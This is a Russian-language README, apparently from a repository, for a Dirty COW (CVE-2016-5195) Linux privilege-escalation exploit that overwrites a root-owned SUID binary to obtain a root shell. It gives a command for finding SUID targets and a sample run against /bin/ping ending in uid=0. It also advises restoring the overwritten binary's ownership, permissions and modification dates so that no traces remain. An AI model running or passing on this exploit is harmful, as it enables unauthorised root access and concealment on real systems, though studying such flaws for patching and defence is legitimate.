
Example exploit for CVE-2016-5195
Я не несу ответственности за любые ваши действия с этим кодом. Этот код предоставляется без каких-либо гарантий.
Эксплойт для CVE-2016-5195, который отображает исполняемый файл SUID только для чтения в память (только для чтения) и
использует состояние гонки для перезаписи его ELF-файлом по нашему выбору. Полезные нагрузки
доступны в формате NASM вместе с кодом эксплойта(cowshell-x86.asm && cowshell-x86_64.asm) если
вы хотите увидеть, что находится внутри cashm0ney.
Полезная нагрузка повышает привилегии с помощью setuid(0), устанавливает 0 в vm.dirty_writeback_centisecs
для предотвращения сбоя из-за обратной записи файловой системы и запускает оболочку(/bin/sh).
Эта версия не пытается писать в /proc/self/mem, поэтому она должна
быть жизнеспособна на CentOS/RHEL-системах. По-прежнему полагается на ptrace, поэтому может выйти из строя, если ptrace
ограничен на целевой системе.
Найдите исполняемый файл SUID, принадлежащий root, к которому ваш текущий пользователь имеет как минимум права на чтение:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Открыт /bin/ping [*] Создаю резервную копию /bin/ping в /tmp/ping [*] Файл отображён по адресу 0x0x7f0cbe7ce000 [*] Ожидание сигнала от дочернего процесса [*] Запуск потока madvise. [*] Получен сигнал от дочернего процесса. [*] Подготовка к записи 262 байт [*] Попытка выполнить запись. [*] Записан байт по адресу 0 [*] Записан байт по адресу 1 [*] Записан байт по адресу 2 [*] Записан байт по адресу 3 [*] Записан байт по адресу 4 [*] Записан байт по адресу 5 [*] Записан байт по адресу 6 [*] Записан байт по адресу 7 [*] Записан байт по адресу 8 SNIP [*] Записан байт по адресу 259 [*] Записан байт по адресу 260 [*] Записан байт по адресу 261 [+] Ура, запись завершена [+] Запуск оболочки. Не забудьте восстановить /bin/ping из /tmp/ping с правильными разрешениями! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Вам следует восстановить двоичный файл, который был перезаписан, в его исходный путь из созданной резервной копии, и не забудьте выполнить chown && chmod для восстановления правильных владельца и разрешений. Верните даты изменения для полного комплекта.